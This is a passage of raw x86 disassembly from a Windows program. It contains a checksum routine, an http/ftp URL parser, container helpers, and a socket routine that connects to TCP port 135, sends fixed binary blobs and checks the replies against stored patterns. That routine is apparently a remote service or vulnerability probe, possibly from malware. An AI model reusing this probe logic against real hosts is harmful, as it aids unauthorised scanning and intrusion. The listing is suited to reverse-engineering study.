cmp ecx, 0 jz short loc_420D4A loc_420D39: ; CODE XREF: sub_420D00+20j ; sub_420D00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420D39 loc_420D4A: ; CODE XREF: sub_420D00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420D00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50BB64, eax mov eax, offset dword_50BB64 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DC0: ; CODE XREF: ___:00401771j push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_50FAA0 push esi call edi ; ftell mov ebp, dword_50FA98 push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E10 proc near ; CODE XREF: sub_401938j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420E10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420E3F xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420E10+26j lea ecx, [esp+90h+var_84] call sub_401424 push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015D7 push offset asc_443C94 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420ECF: ; CODE XREF: sub_420E10+92j ; sub_420E10+A2j push offset asc_444410 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016AE push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D20 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_444410 ; "/" push 1 jz loc_42120C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_420FC9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420FC9: ; CODE XREF: sub_420E10+19Cj push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421095 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42107E mov dword ptr [esi+54h], 50h loc_42107E: ; CODE XREF: sub_420E10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421095 mov dword ptr [esi+54h], 15h loc_421095: ; CODE XREF: sub_420E10+255j ; sub_420E10+27Cj push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016AE lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42114E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42114E: ; CODE XREF: sub_420E10+321j push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016AE lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421333 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42120C: ; CODE XREF: sub_420E10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421293 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_421293: ; CODE XREF: sub_420E10+466j push offset asc_444410 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421333 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42131C mov dword ptr [esi+54h], 50h loc_42131C: ; CODE XREF: sub_420E10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421333 mov dword ptr [esi+54h], 15h loc_421333: ; CODE XREF: sub_420E10+3DBj ; sub_420E10+4F3j ... push offset asc_444410 ; "/" lea ecx, [esp+94h+var_84] call sub_4013E3 lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E2E push offset asc_444410 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013E3 push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_444410 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013E3 lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_444410 ; "/" mov ecx, esi call sub_4015D7 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016BD lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421419: ; CODE XREF: sub_420E10+2Aj ; sub_420E10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420E10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4215D0 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4215FB loc_4215E4: ; CODE XREF: sub_4215D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421602 inc eax cmp eax, edx jl short loc_4215E4 loc_4215FB: ; CODE XREF: sub_4215D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421602: ; CODE XREF: sub_4215D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4215D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421620: ; CODE XREF: ___:0040209Aj mov eax, 2010h call sub_436840 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42166D dec eax jz short loc_421647 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421647: ; CODE XREF: ___:00421638j mov eax, [esp+2020h] push 1388h push eax call sub_402004 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: ___:00421635j push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4217C9 cmp esi, 0FFFFFFFFh jz loc_4217C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2B66h mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40187F add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz loc_4217C2 mov ebp, dword_50FC8C push 0 push 48h push offset dword_443DD8 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 mov edi, dword_50FC90 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_4217C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4217C2 push 0 push 18h push offset dword_443E4C push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4217C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4217C2 push 10h push offset loc_443E24 lea eax, [esp+24h] push edi push eax call sub_401AEB add esp, 10h test al, al jz short loc_421791 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: ___:0042176Ej push 10h push offset dword_443E38 lea edx, [esp+24h] push edi push edx call sub_401AEB add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4217C2: ; CODE XREF: ___:004216DBj ; ___:004216F6j ... push esi call near ptr 71AB9639h nop loc_4217C9: ; CODE XREF: ___:0042167Ej ; ___:00421687j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421850: ; CODE XREF: ___:00401A00j xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421870 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421870 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218B0 proc near ; CODE XREF: sub_4018D9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401901 sub_4218B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218F0 proc near ; CODE XREF: sub_401816j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40196F mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014D8 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401997 mov edx, [esi+4] mov ecx, esi push edx call sub_401947 sub_4218F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421960 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40204F mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_421960 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4219A0 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_4219A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219D0 proc near ; CODE XREF: sub_402167j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40196F mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4018FC sub_4219D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A10 proc near ; CODE XREF: sub_401703j push esi mov esi, ecx call sub_4019EC mov eax, esi pop esi retn sub_421A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421A30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40204F mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421A50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A80 proc near ; CODE XREF: sub_401802j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FFF neg al sbb eax, eax inc eax retn 4 sub_421A80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AB0 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421AB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013ED mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021B7 sub_421AF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B60 proc near ; CODE XREF: sub_40145Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40110E mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421B60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421BA0 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421BA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013ED mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BAE sub_421BD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C10 proc near ; CODE XREF: sub_401B40j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421C10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421C30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C50 proc near ; CODE XREF: sub_40182Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421C50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D48 neg al sbb eax, eax inc eax retn 4 sub_421C80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401ECE mov edi, eax push edi call sub_401B1D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421CB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B1D push edi mov [eax], ebx call sub_401B1D mov edi, [eax] push edi call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E3D mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D84 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421D50 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401CF3 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401901 sub_421D50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401CF3 push edi mov [eax], ebx call sub_401CF3 mov edi, [eax] push edi call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017E9 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401EBF mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421DF0 proc near ; CODE XREF: sub_401997j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jz short loc_421E4A loc_421E08: ; CODE XREF: sub_421DF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020B8 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A1E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jnz short loc_421E08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421E4A: ; CODE XREF: sub_421DF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421DF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E80 proc near ; CODE XREF: sub_401901j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401DF2 sub_421E80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421E95 mov edi, esi loc_421E95: ; CODE XREF: ___:00421E91j push esi call sub_40204F mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421EAA mov edi, esi loc_421EAA: ; CODE XREF: ___:00421EA6j push esi call sub_401CF3 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421ED0 proc near ; CODE XREF: sub_401947j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401546 sub_421ED0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_40204Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421EF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F10 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_421F10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F30 proc near ; CODE XREF: sub_4019ECj mov eax, ecx retn sub_421F30 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F50 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401519 mov eax, esi pop esi retn 4 sub_421F50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F80 proc near ; CODE XREF: sub_401FFFj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_421F80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FB0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018E8 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_421FB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013DE mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D75 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I 